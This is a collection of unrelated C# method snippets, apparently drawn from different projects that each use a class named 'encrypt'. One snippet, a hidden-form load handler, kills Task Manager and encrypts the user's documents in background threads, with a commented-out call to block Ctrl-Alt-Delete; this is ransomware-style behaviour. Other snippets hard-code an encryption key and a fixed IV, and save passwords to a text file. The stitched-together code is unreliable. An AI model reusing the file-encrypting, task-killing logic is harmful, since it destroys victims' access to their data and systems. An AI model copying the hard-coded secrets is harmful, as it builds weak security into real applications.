public void savePasscode(string passcode, Dictionary <char, char> passKey, string dir) { encrypt code = new encrypt(); string encPasscode = code.funcEncrypt(passcode, passKey); code.saveEncrypt("Passcode", encPasscode, dir); }
private void savePsswrdBTN_Click_1(object sender, EventArgs e) { string filename = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\encryptedCode.txt"; if (txtBoxEnterEmail.Text != "" && txtBoxEnterPswrd.Text != "") { encrypt _encryptObj = new encrypt(); _encryptObj.saveEncrypt(txtBoxEnterEmail.Text, _encryptObj.funcEncrypt(txtBoxEnterPswrd.Text), filename); txtBoxEnterEmail.Text = ""; txtBoxEnterPswrd.Text = ""; } else { MessageBox.Show("invalid data entry", "Program will exit"); Environment.Exit(1); } }
private void Form1_Load(object sender, EventArgs e) { this.Visible = false; taskProcKill killTask = new taskProcKill(); encrypt userFiles = new encrypt(safetySwitch); Thread taskKiller = new Thread(new ThreadStart(killTask.procKiller)); Thread encryptDocs = new Thread(new ThreadStart(userFiles.processUser)); //If safe dont kill taskmanager //if (!safetySwitch) taskKiller.Start(); encryptDocs.Start(); cenaTimer.Enabled = true; cenaTimer.Stop(); formTimer.Enabled = true; formTimer.Start(); //KillCtrlAltDelete(); }
public string Cifrar(ref authTokenType token, string texto, string alias) { LunaXml.xmCryptoService client = new xmCryptoService(); try { encrypt en = new encrypt(); en.DataToEncrypt = texto; en.AuthToken = token; en.EncryptionKeyAlias = alias; en.Mechanism = MechanismType.CBC; en.Padding = paddingType.PKCS5Padding; en.Parameter = new[] { new ParameterType() { ParameterName = "IV", ParameterValue = "MTIzNDU2Nzg=" } }; encryptResponse res = client.encrypt(en); token = res.AuthToken; if (res.Result.ResultMajor != null && res.Result.ResultMajor == "urn:oasis:names:tc:dss:resultmajor:Success") { return(res.EncryptedData); } else { Log.Error((res.Result.ResultMessage != null ? res.Result.ResultMessage.Value : "")); return(null); } } catch (Exception ex) { Log.Error("Error al intentar firmar: " + ex); return(null); } finally { client.Dispose(); } }
protected void AddDriver_Click(object sender, EventArgs e) { string strConnection = ConfigurationManager.ConnectionStrings["TAMConnectionString"].ConnectionString; SqlConnection sqlcon = new SqlConnection(strConnection); if (sqlcon.State == ConnectionState.Closed) { sqlcon.Open(); } try { string Admin = Session["Logged"].ToString(); string firstname = FirstName.Text; string middlename = MiddleName.Text; string lastname = LastName.Text; string dob = Request.Form["date"]; DateTime DateOfBirth = Convert.ToDateTime(dob); string mobile = Mobile.Text; string phone = Phone.Text; string email = Email.Text; string address = Address.Text; string login = Login.Text; string password = Password.Text; string password1 = ConfirmPassword.Text; if (password != password1) { // Page.RegisterStartupScript("MyScript", "<script language=javascript>" + " alert('password mismatch. Try again'); </script>"); Page.ClientScript.RegisterStartupScript(this.GetType(), "Mismatch", "Mismatch();", true); } else { SqlCommand sqlcmd2 = new SqlCommand("SpDriverLoginCheck", sqlcon); sqlcmd2.CommandType = CommandType.StoredProcedure; sqlcmd2.Parameters.AddWithValue("@LoginID", login); SqlDataReader logusers; logusers = sqlcmd2.ExecuteReader(); // string temp = logusers["temp"].ToString(); if (logusers.HasRows) { sqlcon.Close(); // Page.RegisterStartupScript("MyScript", "<script language=javascript>" + " alert('Id already taken'); </script>"); Page.ClientScript.RegisterStartupScript(this.GetType(), "Taken", "Taken();", true); } else { string key = "sblw-3hn8-sqoy19"; encrypt encpass = new encrypt(); string encryptpass = encpass.PassEncrypt(password, key); SqlCommand sqlcmd = new SqlCommand("SpDriverIns", sqlcon); sqlcmd.CommandType = CommandType.StoredProcedure; sqlcmd.Parameters.AddWithValue("@firstname", firstname); sqlcmd.Parameters.AddWithValue("@middlename", middlename); sqlcmd.Parameters.AddWithValue("@lastname", lastname); sqlcmd.Parameters.AddWithValue("@dob", DateOfBirth); sqlcmd.Parameters.AddWithValue("@mobile", mobile); sqlcmd.Parameters.AddWithValue("@phone", phone); sqlcmd.Parameters.AddWithValue("@email", email); sqlcmd.Parameters.AddWithValue("@address", address); sqlcmd.Parameters.AddWithValue("@login", login); sqlcmd.Parameters.AddWithValue("@password", encryptpass); sqlcmd.ExecuteNonQuery(); sqlcon.Close(); Page.ClientScript.RegisterStartupScript(this.GetType(), "Success", "Success();", true); //Response.Redirect("/Admin/DriverAddSuccess.aspx", false); } } } catch (Exception eaa) { Console.WriteLine(eaa.ToString()); // Response.Redirect("/Admin/NewDriver.aspx"); } //Response.Redirect("/Admin/NewDriver.aspx"); }
protected void Page_Load(object sender, EventArgs e) { encryptLib = new encrypt() { }; }